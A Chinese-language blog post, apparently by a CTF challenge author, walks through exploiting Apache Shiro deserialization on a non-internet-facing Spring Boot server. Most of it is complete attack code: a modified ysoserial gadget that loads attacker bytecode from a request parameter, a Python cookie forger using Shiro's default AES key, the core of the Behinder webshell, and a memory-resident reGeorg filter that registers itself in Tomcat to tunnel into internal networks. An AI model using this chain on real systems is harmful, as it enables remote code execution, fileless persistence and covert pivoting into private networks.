Java代码执行漏洞中类动态加载的应用

今年SCTF和另一个师傅一起出了道题,其中环境就是完全不出网的Spring boot + Shiro,要对其进行内网渗透,所以就有了下文的思路,通过改造ysoserial,reGeorg,使用动态加载类的方法,突破header头长度的限制,攻击Shiro并把reGeorg注册为filter,提供代理

Java类动态加载

Java中类的加载方式分为显式和隐式,隐式加载是通过new等途径生成的对象时Jvm把相应的类加载到内存中,显示加载是通过Class.forName(..)等方式由程序员自己控制加载,而显式类加载方式也可以理解为类动态加载,我们也可以自定义类加载器去加载任意的类。

自定义ClassLoader

java.lang.ClassLoader是所有的类加载器的父类,其他子类加载器例如URLClassLoader都是通过继承java.lang.ClassLoader然后重写父类方法从而实现了加载目录class文件或者远程资源文件

在网站管理工具”冰蝎”中用到了这种方法

冰蝎服务端核心代码:

1
2
3
4
5
6
7
8
9
10
11
12
class U extends ClassLoader{
U(ClassLoader c){
super(c);
}

public Class g(byte []b){
return super.defineClass(b,0,b.length);
}

}

new U(this.getClass().getClassLoader()).g(classBytes).newInstance().equals(pageContext);

代码中创建了U类继承ClassLoader,然后自定义一个名为g的方法,接收字节数组类型的参数并调用父类的defineClass动态解析字节码返回Class对象,然后实例化该类并调用equals方法,传入jsp上下文中的pageContext对象。

其中classBytes就是由冰蝎客户端发送至服务端的字节码,该字节码所代表的类中重写了equals方法,从pageContext中提取request,response等对象作参数的获取和执行结果的返回

反射调用defineClass

上文中新建了一个类来实现动态加载字节码的功能,但在某些利用场景使用有一定限制,所以也可以直接通过反射调用ClassLoader的defineClass方法动态加载字节码而不用新建其他Java类

1
2
3
java.lang.reflect.Method defineClassMethod = ClassLoader.class.getDeclaredMethod("defineClass",new Class[]{byte[].class, int.class, int.class});
defineClassMethod.setAccessible(true);
Class cc = (Class) defineClassMethod.invoke(new ClassLoader(){}, classBytes, 0, classBytes.length);

在调用defineClass时,重新实例化了一个ClassLoader,new ClassLoader(){},这是因为在Java中类的唯一性由类加载器和类本身决定,如果沿用当前上下文中的类加载器实例,而POC中使用同一个类名多次攻击,可能出现类重复定义异常

Shiro反序列化上载reGeorg代理

举个实际应用的例子,针对一个完全不出网的Spring Boot + Shiro程序如何进行内网渗透,这种情况下不能写Jsp马,而且不能出网自然不能作反弹Shell等操作,要进行内网渗透我觉得最好的方式就是动态注册filter或者servlet,并将reGeorg的代码嵌入其中,但如果将POC都写在header中,肯定会超过中间件header长度限制,当然在某些版本也有办法修改这个长度限制,参考基于全局储存的新思路 | Tomcat的一种通用回显方法研究,如果采用上文中从外部加载字节码的方法那么这个问题就迎刃而解

改造ysoserial

为了在ysoserial中正常使用下文中提到的类,需要先在pom.xml中加入如下依赖

1
2
3
4
5
6
7
8
9
10
11
<dependency>
<groupId>org.apache.tomcat.embed</groupId>
<artifactId>tomcat-embed-core</artifactId>
<version>8.5.50</version>
</dependency>

<dependency>
<groupId>org.springframework</groupId>
<artifactId>spring-web</artifactId>
<version>2.5</version>
</dependency>

要让反序列化时运行指定的Java代码,需要借助TemplatesImpl,在ysoserial中新建一个类并继承AbstractTranslet,这里有不理解的可以参考有关TemplatesImpl的反序列化漏洞链

静态代码块中获取了Spring Boot上下文里的request,response和session,然后获取classData参数并通过反射调用defineClass动态加载此类,实例化后调用其中的equals方法传入request,response和session三个对象

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
package ysoserial;

import com.sun.org.apache.xalan.internal.xsltc.DOM;
import com.sun.org.apache.xalan.internal.xsltc.TransletException;
import com.sun.org.apache.xalan.internal.xsltc.runtime.AbstractTranslet;
import com.sun.org.apache.xml.internal.dtm.DTMAxisIterator;
import com.sun.org.apache.xml.internal.serializer.SerializationHandler;

public class MyClassLoader extends AbstractTranslet {
static{
try{
javax.servlet.http.HttpServletRequest request = ((org.springframework.web.context.request.ServletRequestAttributes)org.springframework.web.context.request.RequestContextHolder.getRequestAttributes()).getRequest();
java.lang.reflect.Field r=request.getClass().getDeclaredField("request");
r.setAccessible(true);
org.apache.catalina.connector.Response response =((org.apache.catalina.connector.Request) r.get(request)).getResponse();
javax.servlet.http.HttpSession session = request.getSession();

String classData=request.getParameter("classData");

byte[] classBytes = new sun.misc.BASE64Decoder().decodeBuffer(classData);
java.lang.reflect.Method defineClassMethod = ClassLoader.class.getDeclaredMethod("defineClass",new Class[]{byte[].class, int.class, int.class});
defineClassMethod.setAccessible(true);
Class cc = (Class) defineClassMethod.invoke(MyClassLoader.class.getClassLoader(), classBytes, 0,classBytes.length);
cc.newInstance().equals(new Object[]{request,response,session});
}catch(Exception e){
e.printStackTrace();
}
}
public void transform(DOM arg0, SerializationHandler[] arg1) throws TransletException {
}
public void transform(DOM arg0, DTMAxisIterator arg1, SerializationHandler arg2) throws TransletException {
}
}

然后在ysoserial.payloads.util包的Gadgets类中照着原有的createTemplatesImpl方法添加一个createTemplatesImpl(Class c),参数即为我们要让服务端加载的类,如下直接将传入的c转换为字节码赋值给了_bytecodes

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
public static <T> T createTemplatesImpl(Class c) throws Exception {
Class<T> tplClass = null;

if ( Boolean.parseBoolean(System.getProperty("properXalan", "false")) ) {
tplClass = (Class<T>) Class.forName("org.apache.xalan.xsltc.trax.TemplatesImpl");
}else{
tplClass = (Class<T>) TemplatesImpl.class;
}

final T templates = tplClass.newInstance();
final byte[] classBytes = ClassFiles.classAsBytes(c);

Reflections.setFieldValue(templates, "_bytecodes", new byte[][] {
classBytes
});

Reflections.setFieldValue(templates, "_name", "Pwnr");
return templates;
}

最后复制CommonsBeanutils1.java的代码增加一个payload CommonsBeanutils1_ClassLoader.java,再把其中

1
final Object templates = Gadgets.createTemplatesImpl(command);

修改为

1
final Object templates = Gadgets.createTemplatesImpl(ysoserial.MyClassLoader.class);

打包

1
mvn clean package -DskipTests

借以下脚本生成POC

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
#python2
#pip install pycrypto
import sys
import base64
import uuid
from random import Random
import subprocess
from Crypto.Cipher import AES

key = "kPH+bIxk5D2deZiIxcaaaA=="
mode = AES.MODE_CBC
IV = uuid.uuid4().bytes
encryptor = AES.new(base64.b64decode(key), mode, IV)

payload=base64.b64decode(sys.argv[1])
BS = AES.block_size
pad = lambda s: s + ((BS - len(s) % BS) * chr(BS - len(s) % BS)).encode()
payload=pad(payload)

print(base64.b64encode(IV + encryptor.encrypt(payload)))
1
python2 shiro_cookie.py `java -jar ysoserial-0.0.6-SNAPSHOT-all.jar CommonsBeanutils1_ClassLoader anything |base64 |sed ':label;N;s/\n//;b label'`

改造reGeorg

对于reGeorg服务端的更改其实也就是request等对象的获取方式,为了方便注册filter,我直接让该类实现了Filter接口,在doFilter方法中完成reGeorg的主要逻辑,在equals方法中进行filter的动态注册

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
46
47
48
49
50
51
52
53
54
55
56
57
58
59
60
61
62
63
64
65
66
67
68
69
70
71
72
73
74
75
76
77
78
79
80
81
82
83
84
85
86
87
88
89
90
91
92
93
94
95
96
97
98
99
100
101
102
103
104
105
106
107
108
109
110
111
112
113
114
115
116
117
118
119
120
121
122
123
124
125
126
127
128
129
130
131
132
133
134
135
136
137
138
package reGeorg;

import javax.servlet.*;
import java.io.IOException;

public class MemReGeorg implements javax.servlet.Filter{
private javax.servlet.http.HttpServletRequest request = null;
private org.apache.catalina.connector.Response response = null;
private javax.servlet.http.HttpSession session =null;

@Override
public void init(FilterConfig filterConfig) throws ServletException {
}
public void destroy() {}
@Override
public void doFilter(ServletRequest request1, ServletResponse response1, FilterChain filterChain) throws IOException, ServletException {
javax.servlet.http.HttpServletRequest request = (javax.servlet.http.HttpServletRequest)request1;
javax.servlet.http.HttpServletResponse response = (javax.servlet.http.HttpServletResponse)response1;
javax.servlet.http.HttpSession session = request.getSession();
String cmd = request.getHeader("X-CMD");
if (cmd != null) {
response.setHeader("X-STATUS", "OK");
if (cmd.compareTo("CONNECT") == 0) {
try {
String target = request.getHeader("X-TARGET");
int port = Integer.parseInt(request.getHeader("X-PORT"));
java.nio.channels.SocketChannel socketChannel = java.nio.channels.SocketChannel.open();
socketChannel.connect(new java.net.InetSocketAddress(target, port));
socketChannel.configureBlocking(false);
session.setAttribute("socket", socketChannel);
response.setHeader("X-STATUS", "OK");
} catch (java.net.UnknownHostException e) {
response.setHeader("X-ERROR", e.getMessage());
response.setHeader("X-STATUS", "FAIL");
} catch (java.io.IOException e) {
response.setHeader("X-ERROR", e.getMessage());
response.setHeader("X-STATUS", "FAIL");
}
} else if (cmd.compareTo("DISCONNECT") == 0) {
java.nio.channels.SocketChannel socketChannel = (java.nio.channels.SocketChannel)session.getAttribute("socket");
try{
socketChannel.socket().close();
} catch (Exception ex) {
}
session.invalidate();
} else if (cmd.compareTo("READ") == 0){
java.nio.channels.SocketChannel socketChannel = (java.nio.channels.SocketChannel)session.getAttribute("socket");
try {
java.nio.ByteBuffer buf = java.nio.ByteBuffer.allocate(512);
int bytesRead = socketChannel.read(buf);
ServletOutputStream so = response.getOutputStream();
while (bytesRead > 0){
so.write(buf.array(),0,bytesRead);
so.flush();
buf.clear();
bytesRead = socketChannel.read(buf);
}
response.setHeader("X-STATUS", "OK");
so.flush();
so.close();
} catch (Exception e) {
response.setHeader("X-ERROR", e.getMessage());
response.setHeader("X-STATUS", "FAIL");
}

} else if (cmd.compareTo("FORWARD") == 0){
java.nio.channels.SocketChannel socketChannel = (java.nio.channels.SocketChannel)session.getAttribute("socket");
try {
int readlen = request.getContentLength();
byte[] buff = new byte[readlen];
request.getInputStream().read(buff, 0, readlen);
java.nio.ByteBuffer buf = java.nio.ByteBuffer.allocate(readlen);
buf.clear();
buf.put(buff);
buf.flip();
while(buf.hasRemaining()) {
socketChannel.write(buf);
}
response.setHeader("X-STATUS", "OK");
} catch (Exception e) {
response.setHeader("X-ERROR", e.getMessage());
response.setHeader("X-STATUS", "FAIL");
socketChannel.socket().close();
}
}
} else {
filterChain.doFilter(request, response);
}
}

public boolean equals(Object obj) {
Object[] context=(Object[]) obj;
this.session = (javax.servlet.http.HttpSession ) context[2];
this.response = (org.apache.catalina.connector.Response) context[1];
this.request = (javax.servlet.http.HttpServletRequest) context[0];

try {
dynamicAddFilter(new MemReGeorg(),"reGeorg","/*",request);
} catch (IllegalAccessException e) {
e.printStackTrace();
}

return true;
}

public static void dynamicAddFilter(javax.servlet.Filter filter,String name,String url,javax.servlet.http.HttpServletRequest request) throws IllegalAccessException {
javax.servlet.ServletContext servletContext=request.getServletContext();
if (servletContext.getFilterRegistration(name) == null) {
java.lang.reflect.Field contextField = null;
org.apache.catalina.core.ApplicationContext applicationContext =null;
org.apache.catalina.core.StandardContext standardContext=null;
java.lang.reflect.Field stateField=null;
javax.servlet.FilterRegistration.Dynamic filterRegistration =null;

try {
contextField=servletContext.getClass().getDeclaredField("context");
contextField.setAccessible(true);
applicationContext = (org.apache.catalina.core.ApplicationContext) contextField.get(servletContext);
contextField=applicationContext.getClass().getDeclaredField("context");
contextField.setAccessible(true);
standardContext= (org.apache.catalina.core.StandardContext) contextField.get(applicationContext);
stateField=org.apache.catalina.util.LifecycleBase.class.getDeclaredField("state");
stateField.setAccessible(true);
stateField.set(standardContext,org.apache.catalina.LifecycleState.STARTING_PREP);
filterRegistration = servletContext.addFilter(name, filter);
filterRegistration.addMappingForUrlPatterns(java.util.EnumSet.of(javax.servlet.DispatcherType.REQUEST), false,new String[]{url});
java.lang.reflect.Method filterStartMethod = org.apache.catalina.core.StandardContext.class.getMethod("filterStart");
filterStartMethod.setAccessible(true);
filterStartMethod.invoke(standardContext, null);
stateField.set(standardContext,org.apache.catalina.LifecycleState.STARTED);
}catch (Exception e){
;
}finally {
stateField.set(standardContext,org.apache.catalina.LifecycleState.STARTED);
}
}
}
}

编译后使用如下命令得到其字节码的base64

1
cat MemReGeorg.class|base64 |sed ':label;N;s/\n//;b label'

测试

在Cookie处填入 rememberMe=[ysoserial生成的POC],POST包体填入classData=[MemReGeorg类字节码的base64],注意POST中参数需要URL编码,发包

然后带上X-CMD:l3yxheader头再请求页面,返回X-STATUS: OK说明reGeorg已经正常工作

reGeorg客户端也需要修改一下,原版会先GET请求一下网页判断是否是reGeorg的jsp页面,由于这里是添加了一个filter,正常访问网页是不会有变化的,只有带上相关头才会进入reGeorg代码,所以需要将客户端中相关的验证去除

在askGeorg函数第一行增加return True即可

连接reGeorg

参考

https://xz.aliyun.com/t/2744

https://xz.aliyun.com/t/7388